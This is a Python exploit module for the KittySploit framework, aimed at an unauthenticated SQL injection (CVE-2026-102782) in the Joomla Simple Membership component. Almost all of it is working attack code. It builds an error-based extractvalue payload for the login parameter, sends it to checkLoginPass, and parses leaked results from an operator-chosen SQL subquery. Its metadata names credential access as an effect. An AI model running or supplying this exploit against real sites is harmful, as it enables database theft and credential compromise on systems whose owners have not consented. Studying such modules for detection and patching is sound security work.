Joomla Simple Membership CVE-2026-102782 SQL injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Joomla OrdaSoft Simple Membership CVE-2026-102782 unauth SQLi."""

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import Joomla


class Module(Exploit, Http_client, Joomla):
    __info__ = {
        "name": "Joomla Simple Membership CVE-2026-102782 SQL injection",
        "description": (
            "CVE-2026-102782 (com_simplemembership < 7.4.0): unauthenticated SQL injection "
            "on task=checkLoginPass via the login parameter. Uses error-based extractvalue "
            "to leak SQL subquery results (~leak~)."
        ),
        "author": ["murrez", "KittySploit Team"],
        "cve": ["CVE-2026-102782"],
        "platform": Platform.PHP,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-102782",
            "https://github.com/murrez/CVE-2026-102782",
        ],
        "tags": ["joomla", "sqli", "unauthenticated", "cve-2026-102782"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "credential_access"],
            "expected_requests": 4,
            "reversible": True,
            "approval_required": True,
            "produces": ["credentials", "risk_signals"],
            "requires": {"tech_hints_any": ["joomla"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/joomla_simplemembership_cve_2026_102782_detect",
                ],
            },
        },
    }

    _TILDE_RE = re.compile(r"~([^~]{1,220})~")
    _MANIFEST_PATHS = (
        "/administrator/components/com_simplemembership/simplemembership.xml",
        "/administrator/components/com_simplemembership/com_simplemembership.xml",
    )

    subquery = OptString("SELECT VERSION()", "SQL expression inside extractvalue()", False)

    @staticmethod
    def _checklogin_path(login_value: str) -> str:
        query = {
            "option": "com_simplemembership",
            "task": "checkLoginPass",
            "login": login_value,
            "format": "raw",
        }
        return "/index.php?" + urlencode(query)

    @staticmethod
    def _extractvalue_login(subquery_sql: str) -> str:
        inner = str(subquery_sql or "SELECT VERSION()").strip()
        return "x' AND extractvalue(1,concat(0x7e,(%s),0x7e)) AND '1'='1" % inner

    @staticmethod
    def _parse_leak(body: str) -> str:
        match = Module._TILDE_RE.search(body or "")
        return match.group(1).strip() if match else ""

    @staticmethod
    def _version_from_manifest(text: str):
        match = re.search(r"<version>\s*([^<]+)\s*</version>", text or "", re.I)
        if not match:
            return None
        parts = []
        for token in match.group(1).split("."):
            digits = "".join(ch for ch in token if ch.isdigit())
            if digits:
                parts.append(int(digits))
        return tuple(parts) if parts else None

    def _sqli_leak(self, subquery: str) -> str:
        path = self._checklogin_path(self._extractvalue_login(subquery))
        response = self.joomla_http_get(path, timeout=float(self.timeout or 15))
        if not response:
            return ""
        return self._parse_leak(response.text or "")

    def check(self):
        token = self.random_text(8)
        leak = self._sqli_leak(f"SELECT CONCAT('{token}')")
        if token in leak:
            return {"vulnerable": True, "reason": "Error-based SQLi confirmed", "confidence": "high"}
        for manifest in self._MANIFEST_PATHS:
            response = self.joomla_http_get(manifest, timeout=10)
            if not response or int(response.status_code or 0) != 200:
                continue
            version = self._version_from_manifest(response.text or "")
            if version and version < (7, 4, 0):
                return {
                    "vulnerable": True,
                    "reason": f"Vulnerable component version {'.'.join(map(str, version))}",
                    "confidence": "medium",
                }
        return {"vulnerable": False, "reason": "No SQLi leak or vulnerable manifest", "confidence": "medium"}

    def run(self):
        subquery = str(self.subquery or "SELECT VERSION()").strip()
        leak = self._sqli_leak(subquery)
        if not leak:
            print_error("Extractvalue leak failed")
            self.not_vulnerable()
            return False
        print_success(f"SQL leak: {leak}")
        self.set_info(
            severity="critical",
            cve="CVE-2026-102782",
            reason="checkLoginPass SQL injection",
            subquery=subquery,
            leak=leak[:500],
        )
        return True